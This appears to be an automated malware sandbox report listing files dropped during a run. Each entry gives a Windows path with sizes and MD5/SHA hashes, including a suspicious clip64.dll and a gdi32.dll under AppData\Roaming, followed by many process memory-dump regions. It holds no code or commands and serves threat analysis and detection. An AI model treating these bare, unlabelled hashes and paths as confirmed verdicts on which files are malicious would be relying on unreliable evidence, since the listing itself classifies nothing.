C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85mw8mk9.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.dll

Filesize
1.1MB

MD5
842039753bf41fa5e11b3a1383061a87

SHA1
3e8fe1d7b3ad866b06dca6c7ef1e3c50c406e153

SHA256
d88dd3bfc4a558bb943f3caa2e376da3942e48a7948763bf9a38f707c2cd0c1c

SHA512
d3320f7ac46327b7b974e74320c4d853e569061cb89ca849cd5d1706330aca629abeb4a16435c541900d839f46ff72dfde04128c450f3e1ee63c025470c19157

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85mw8mk9.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.info

Filesize
116B

MD5
2a461e9eb87fd1955cea740a3444ee7a

SHA1
b10755914c713f5a4677494dbe8a686ed458c3c5

SHA256
4107f76ba1d9424555f4e8ea0acef69357dfff89dfa5f0ec72aa4f2d489b17bc

SHA512
34f73f7bf69d7674907f190f257516e3956f825e35a2f03d58201a5a630310b45df393f2b39669f9369d1ac990505a4b6849a0d34e8c136e1402143b6cedf2d3

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85mw8mk9.default-release\gmp-widevinecdm\4.10.2710.0\manifest.json

Filesize
372B

MD5
bf957ad58b55f64219ab3f793e374316

SHA1
a11adc9d7f2c28e04d9b35e23b7616d0527118a1

SHA256
bbab6ca07edbed72a966835c7907b3e60c7aa3d48ddea847e5076bd05f4b1eda

SHA512
79c179b56e4893fb729b225818ab4b95a50b69666ac41d17aad0b37ab0ca8cd9f0848cbc3c5d9e69e4640a8b261d7ced592eae9bcb0e0b63c05a56e7c477f44e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85mw8mk9.default-release\gmp-widevinecdm\4.10.2710.0\widevinecdm.dll

Filesize
17.8MB

MD5
daf7ef3acccab478aaa7d6dc1c60f865

SHA1
f8246162b97ce4a945feced27b6ea114366ff2ad

SHA256
bc40c7821dcd3fea9923c6912ab1183a942c11b7690cfd79ed148ded0228777e

SHA512
5840a45cfdb12c005e117608b1e5d946e1b2e76443ed39ba940d7f56de4babeab09bee7e64b903eb82bb37624c0a0ef19e9b59fbe2ce2f0e0b1c7a6015a63f75

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85mw8mk9.default-release\prefs-1.js

Filesize
12KB

MD5
d3ab6cc2c2aa462aaf74631cc2041833

SHA1
6d1df5fd001b4b2047f940148f356b4e05db6361

SHA256
7a7f834fe7051929be094ec5293e927843ada1d619fbc245308dfa0e412bc994

SHA512
4377f374fd3439bd6f53bacaf3f948356bd40f55afc05e9379655f0eb6b280640fb8fbb0408aebaa95a53e950eae249264d1fb793c07fc59d50a5a49244f4891

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85mw8mk9.default-release\prefs-1.js

Filesize
10KB

MD5
1a853ff822f90d46f6af9dca8debbcaa

SHA1
ebb4e387e1627bdf169be69eaf067fc6c0492d7d

SHA256
34d5e1d9020069c122e33ce8ca825f9bd3e6aaabfb8788a0c59c7ac35fff932d

SHA512
a512ce28e187e12a4313120f83856a2ab77362613ba375dfcc7a1a2bfe95812c892cbce7de8568c27d56a657ea219f62dccb0efa42ee330eb1f0b89dfbff6e20

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85mw8mk9.default-release\prefs.js

Filesize
10KB

MD5
f5b4a55186d98856d323b400572ac094

SHA1
e9506e34eae8e67445cba52b2c73859b33008ed1

SHA256
bc67a419a447282664ca93867df76c5672bb503a1a59f4ce14f73b4f2a48635c

SHA512
f93e281f03200c0f6f79701521cd526c650e35bbaabe3be8ac5c2be80e56224d594dc7b6933b1512764a6a755f4ed8e4a209b122df2dd335586e6d73e64b2bc1

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85mw8mk9.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
3.0MB

MD5
955c3532c03f9a3b50cab12adb09e874

SHA1
f7bdffb39316d7ed4cf101c3ab4b227b944c32e1

SHA256
4587c3bd04deba9687a72652c049bf0a91f09df1f3e928c4b538f52bcfb62677

SHA512
3c10a4e485e10f01aa98dafd9955feecc30900d97bef7bd69508cdfd882ad077151d3c4ff08ce4c1b0928fa92730c6ffe1e7b32eac065ca28c25d16efe2cdcb8

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85mw8mk9.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
9.6MB

MD5
fcbdca2412e02276d3248668e5e65979

SHA1
bffa76a57203714fbde113de987efef3ab187a12

SHA256
d7b1b9515d6a395ed0bf4b2c8ec06557fe85631392a3797d3be9b312332bf3c7

SHA512
8adbc8e9a5d8ac938fdde3ca9b14b464071eaa1105b08ff94559586d29f1d7999094d14427db7e7e359bb2bb0962dcff0791597ba26ddcdb736eab7aa22986f3

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85mw8mk9.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal

Filesize
16KB

MD5
d95fd0d45f178694dc7899993b7bef32

SHA1
6aca3aecf77ff3f8164d6773d1348e47b70f7d2a

SHA256
35d460e6f7174c08fd38bcc4b06ff390b8ac7a612d352641e42d9b25929d88fc

SHA512
facd78f5a593b82a212fe01bd17b0078c874fbdd83241e2781312d10dc406367b893eae191731dc64dca8850d0a7aa4a6025284d4c8c9858252b49ff18e1b724

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\85mw8mk9.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal

Filesize
64KB

MD5
2e19b14f35c9b17e493cfa5eee5d98d2

SHA1
035634fc3367a25d2e394bbdf378f3db4290b2cd

SHA256
e95b5e0b39476a68241ad53aa57dfa138123a36488a4ceae0dbe019a42d45fd6

SHA512
e871548634f69b8fc29a6a9e373eb9eb5bea8d01ad309c65f81a9293a87537d2c236b5b6bc09b985b357ca23433c45dd682e3b8f6af6616c2aec043a1205b376

Download Submit
C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll

Filesize
124KB

MD5
0d3418372c854ee228b78e16ea7059be

SHA1
c0a29d4e74d39308a50f4fd21d0cca1f98cb02c1

SHA256
885bf0b3b12b77ef3f953fbb48def1b45079faa2a4d574ee16afdbafa1de3ac7

SHA512
e30dced307e04ae664367a998cd1ba36349e99e363f70897b5d90c898de2c69c393182c3afba63a74956b5e6f49f0635468e88ed31dd1e3c86c21e987ddd2c19

Download Submit
C:\Users\Admin\AppData\Roaming\gdi32.dll

Filesize
126KB

MD5
b48e172f02c22894ad766c52303f087a

SHA1
61da0ff26dfc3759f7cd79696430b52f85073141

SHA256
712e46f7a4f9da7fabd0b1acd5e848527bd70b6c4444dc92c8479ac108d71753

SHA512
5b8a888a9d87a4ee34f57799d3d6baf69cd556a2d1336afb109adc488a5efa1c7cd094c3785cf9af726a0c41be3a56a0ffac933b7fa7fb5dec9643f3af08bdfd

Download Submit
memory/624-47-0x00000000006C0000-0x0000000000700000-memory.dmp

Filesize
256KB

Download
memory/624-48-0x0000000002A70000-0x0000000002A76000-memory.dmp

Filesize
24KB

Download
memory/744-587-0x0000000000880000-0x0000000000F22000-memory.dmp

Filesize
6.6MB

Download
memory/744-733-0x0000000000880000-0x0000000000F22000-memory.dmp

Filesize
6.6MB

Download
memory/1068-493-0x0000000010000000-0x000000001001C000-memory.dmp

Filesize
112KB

Download
memory/1068-690-0x0000000000400000-0x0000000000C74000-memory.dmp

Filesize
8.5MB

Download
memory/1068-337-0x0000000000400000-0x0000000000C74000-memory.dmp

Filesize
8.5MB

Download
memory/1068-516-0x0000000000400000-0x0000000000C74000-memory.dmp

Filesize
8.5MB

Download
memory/1068-515-0x0000000000400000-0x0000000000C74000-memory.dmp

Filesize
8.5MB

Download
memory/1288-364-0x0000000000400000-0x0000000000452000-memory.dmp

Filesize
328KB

Download
memory/1288-362-0x0000000000400000-0x0000000000452000-memory.dmp

Filesize
328KB

Download
memory/1856-258-0x0000000000B00000-0x0000000000FAB000-memory.dmp

Filesize
4.7MB

Download
memory/1856-285-0x0000000000B00000-0x0000000000FAB000-memory.dmp

Filesize
4.7MB

Download
memory/1924-626-0x0000000000C80000-0x000000000112B000-memory.dmp

Filesize
4.7MB

Download
memory/1924-479-0x0000000000C80000-0x000000000112B000-memory.dmp

Filesize
4.7MB

Download
memory/1924-497-0x0000000000C80000-0x000000000112B000-memory.dmp

Filesize
4.7MB

Download
memory/1924-283-0x0000000000C80000-0x000000000112B000-memory.dmp

Filesize
4.7MB

Download
memory/1960-79-0x000001E9FD8D0000-0x000001E9FD8F2000-memory.dmp

Filesize
136KB

Download
memory/2344-776-0x0000000000790000-0x0000000000A5E000-memory.dmp

Filesize
2.8MB

Download
memory/2344-777-0x0000000000790000-0x0000000000A5E000-memory.dmp

Filesize
2.8MB

Download
memory/2344-1332-0x0000000000790000-0x0000000000A5E000-memory.dmp

Filesize
2.8MB

Download
memory/2344-1298-0x0000000000790000-0x0000000000A5E000-memory.dmp

Filesize
2.8MB

Download
memory/2344-772-0x0000000000790000-0x0000000000A5E000-memory.dmp

Filesize
2.8MB

Download
memory/2772-238-0x0000000076AE0000-0x0000000076CF5000-memory.dmp

Filesize
2.1MB

Download
memory/2772-236-0x00007FFC2B390000-0x00007FFC2B585000-memory.dmp

Filesize
2.0MB

Download
memory/2772-235-0x0000000000C00000-0x0000000001000000-memory.dmp

Filesize
4.0MB

Download
memory/2772-229-0x00000000003F0000-0x00000000003FA000-memory.dmp

Filesize
40KB

Download
memory/2784-737-0x0000000000EE0000-0x000000000153B000-memory.dmp

Filesize
6.4MB

Download
memory/3068-482-0x000000006F330000-0x000000006F37C000-memory.dmp

Filesize
304KB

Download
memory/3264-225-0x0000000004FE0000-0x00000000053E0000-memory.dmp

Filesize
4.0MB

Download
memory/3264-241-0x0000000000920000-0x0000000000DE8000-memory.dmp

Filesize
4.8MB

Download
memory/3264-222-0x0000000000920000-0x0000000000DE8000-memory.dmp

Filesize
4.8MB

Download
memory/3264-228-0x0000000076AE0000-0x0000000076CF5000-memory.dmp

Filesize
2.1MB

Download
memory/3264-224-0x0000000004FE0000-0x00000000053E0000-memory.dmp

Filesize
4.0MB

Download
memory/3264-226-0x00007FFC2B390000-0x00007FFC2B585000-memory.dmp

Filesize
2.0MB

Download
memory/3288-638-0x000000006F330000-0x000000006F37C000-memory.dmp

Filesize
304KB

Download
memory/3792-298-0x0000000006F20000-0x0000000006FC3000-memory.dmp

Filesize
652KB

Download
memory/3792-346-0x00000000072A0000-0x00000000072AE000-memory.dmp

Filesize
56KB

Download
memory/3792-286-0x0000000006ED0000-0x0000000006F02000-memory.dmp

Filesize
200KB

Download
memory/3792-287-0x000000006F330000-0x000000006F37C000-memory.dmp

Filesize
304KB

Download
memory/3792-297-0x0000000006300000-0x000000000631E000-memory.dmp

Filesize
120KB

Download
memory/3792-309-0x00000000070E0000-0x00000000070EA000-memory.dmp

Filesize
40KB

Download
memory/3792-361-0x0000000007390000-0x0000000007398000-memory.dmp

Filesize
32KB

Download
memory/3792-317-0x00000000072F0000-0x0000000007386000-memory.dmp

Filesize
600KB

Download
memory/3792-318-0x0000000007270000-0x0000000007281000-memory.dmp

Filesize
68KB

Download
memory/3792-359-0x00000000073B0000-0x00000000073CA000-memory.dmp

Filesize
104KB

Download
memory/3792-358-0x00000000072B0000-0x00000000072C4000-memory.dmp

Filesize
80KB

Download
memory/3944-26-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/3944-27-0x0000000000481000-0x00000000004AF000-memory.dmp

Filesize
184KB

Download
memory/3944-24-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/3944-22-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/3944-23-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/4276-480-0x0000000000DC0000-0x0000000001268000-memory.dmp

Filesize
4.7MB

Download
memory/4276-541-0x0000000000DC0000-0x0000000001268000-memory.dmp

Filesize
4.7MB

Download
memory/4448-174-0x00000000055E0000-0x0000000005C08000-memory.dmp

Filesize
6.2MB

Download
memory/4448-193-0x0000000007CC0000-0x000000000833A000-memory.dmp

Filesize
6.5MB

Download
memory/4448-250-0x0000000001030000-0x000000000103A000-memory.dmp

Filesize
40KB

Download
memory/4448-192-0x00000000075C0000-0x0000000007636000-memory.dmp

Filesize
472KB

Download
memory/4448-173-0x0000000004DF0000-0x0000000004E26000-memory.dmp

Filesize
216KB

Download
memory/4448-260-0x0000000007AB0000-0x0000000007B98000-memory.dmp

Filesize
928KB

Download
memory/4448-187-0x0000000005E10000-0x0000000006164000-memory.dmp

Filesize
3.3MB

Download
memory/4448-189-0x00000000062F0000-0x000000000633C000-memory.dmp

Filesize
304KB

Download
memory/4448-191-0x00000000066C0000-0x0000000006704000-memory.dmp

Filesize
272KB

Download
memory/4448-175-0x00000000054F0000-0x0000000005512000-memory.dmp

Filesize
136KB

Download
memory/4448-194-0x0000000007640000-0x000000000765A000-memory.dmp

Filesize
104KB

Download
memory/4448-176-0x0000000005CC0000-0x0000000005D26000-memory.dmp

Filesize
408KB

Download
memory/4448-177-0x0000000005DA0000-0x0000000005E06000-memory.dmp

Filesize
408KB

Download
memory/4448-188-0x00000000062A0000-0x00000000062BE000-memory.dmp

Filesize
120KB

Download
memory/4512-681-0x0000000000FC0000-0x0000000001221000-memory.dmp

Filesize
2.4MB

Download
memory/4512-316-0x0000000000FC0000-0x0000000001221000-memory.dmp

Filesize
2.4MB

Download
memory/4512-406-0x0000000061E00000-0x0000000061EF3000-memory.dmp

Filesize
972KB

Download
memory/4568-595-0x000000006F330000-0x000000006F37C000-memory.dmp

Filesize
304KB

Download
memory/4568-624-0x0000000007390000-0x00000000073A4000-memory.dmp

Filesize
80KB

Download
memory/4568-618-0x0000000007270000-0x0000000007281000-memory.dmp

Filesize
68KB

Download
memory/4572-105-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/4572-223-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/4592-440-0x0000000000340000-0x000000000063B000-memory.dmp

Filesize
3.0MB

Download
memory/4592-403-0x0000000000340000-0x000000000063B000-memory.dmp

Filesize
3.0MB

Download
memory/4608-377-0x000000006F330000-0x000000006F37C000-memory.dmp

Filesize
304KB

Download
memory/4640-731-0x00000000078C0000-0x00000000078D1000-memory.dmp

Filesize
68KB

Download
memory/4640-720-0x000000006F330000-0x000000006F37C000-memory.dmp

Filesize
304KB

Download
memory/4688-230-0x0000000000400000-0x00000000004BC000-memory.dmp

Filesize
752KB

Download
memory/4712-1-0x0000000077D84000-0x0000000077D86000-memory.dmp

Filesize
8KB

Download
memory/4712-0-0x0000000000470000-0x0000000000925000-memory.dmp

Filesize
4.7MB

Download
memory/4712-5-0x0000000000470000-0x0000000000925000-memory.dmp

Filesize
4.7MB

Download
memory/4712-16-0x0000000000470000-0x0000000000925000-memory.dmp

Filesize
4.7MB

Download
memory/4712-2-0x0000000000471000-0x000000000049F000-memory.dmp

Filesize
184KB

Download
memory/4712-3-0x0000000000470000-0x0000000000925000-memory.dmp

Filesize
4.7MB

Download
memory/4820-754-0x0000000000400000-0x0000000000C77000-memory.dmp

Filesize
8.5MB

Download
memory/4820-807-0x0000000000400000-0x0000000000C77000-memory.dmp

Filesize
8.5MB

Download
memory/4820-771-0x0000000000400000-0x0000000000C77000-memory.dmp

Filesize
8.5MB

Download
memory/4820-773-0x0000000000400000-0x0000000000C77000-memory.dmp

Filesize
8.5MB

Download
memory/4840-1364-0x0000000008170000-0x0000000008184000-memory.dmp

Filesize
80KB

Download
memory/4840-1352-0x000000006F4E0000-0x000000006F834000-memory.dmp

Filesize
3.3MB

Download
memory/4840-1363-0x0000000008030000-0x00000000080D3000-memory.dmp

Filesize
652KB

Download
memory/4840-1351-0x000000006F330000-0x000000006F37C000-memory.dmp

Filesize
304KB

Download
memory/4916-146-0x0000000000400000-0x000000000070D000-memory.dmp

Filesize
3.1MB

Download
memory/4916-404-0x0000000000400000-0x000000000070D000-memory.dmp

Filesize
3.1MB

Download
memory/4916-746-0x0000000000400000-0x000000000070D000-memory.dmp

Filesize
3.1MB

Download
memory/4916-145-0x0000000000400000-0x000000000070D000-memory.dmp

Filesize
3.1MB

Download
memory/4916-232-0x0000000060900000-0x0000000060992000-memory.dmp

Filesize
584KB

Download
memory/4916-233-0x0000000000400000-0x000000000070D000-memory.dmp

Filesize
3.1MB

Download
memory/4916-553-0x0000000000400000-0x000000000070D000-memory.dmp

Filesize
3.1MB

Download
memory/4972-498-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/4972-637-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/4972-17-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/4972-55-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/4972-28-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/4972-56-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/4972-84-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/4972-190-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/4972-18-0x0000000000481000-0x00000000004AF000-memory.dmp

Filesize
184KB

Download
memory/4972-19-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/4972-314-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/4972-20-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/5116-1232-0x0000000000F90000-0x0000000001438000-memory.dmp

Filesize
4.7MB

Download
memory/5116-1335-0x0000000000F90000-0x0000000001438000-memory.dmp

Filesize
4.7MB

Download
memory/5764-1278-0x0000000000B10000-0x00000000011B2000-memory.dmp

Filesize
6.6MB

Download
memory/5764-1188-0x0000000000B10000-0x00000000011B2000-memory.dmp

Filesize
6.6MB

Download
memory/6332-1248-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/6332-1270-0x0000000000480000-0x0000000000935000-memory.dmp

Filesize
4.7MB

Download
memory/6364-1417-0x0000000006740000-0x00000000067AE000-memory.dmp

Filesize
440KB

Download
memory/6364-1422-0x0000000008D10000-0x0000000008DA8000-memory.dmp

Filesize
608KB

Download
memory/6364-3492-0x0000000005630000-0x000000000565C000-memory.dmp

Filesize
176KB

Download
memory/6364-1319-0x0000000008940000-0x0000000008948000-memory.dmp

Filesize
32KB

Download
memory/6364-1285-0x0000000006E50000-0x0000000006E72000-memory.dmp

Filesize
136KB

Download
memory/6364-1286-0x0000000008280000-0x0000000008824000-memory.dmp

Filesize
5.6MB

Download
memory/6364-1291-0x0000000007FF0000-0x0000000008030000-memory.dmp

Filesize
256KB

Download
memory/6364-1290-0x0000000008050000-0x00000000080E2000-memory.dmp

Filesize
584KB

Download
memory/6416-1247-0x0000000000C80000-0x000000000112B000-memory.dmp

Filesize
4.7MB

Download
memory/6416-1261-0x0000000000C80000-0x000000000112B000-memory.dmp

Filesize
4.7MB

Download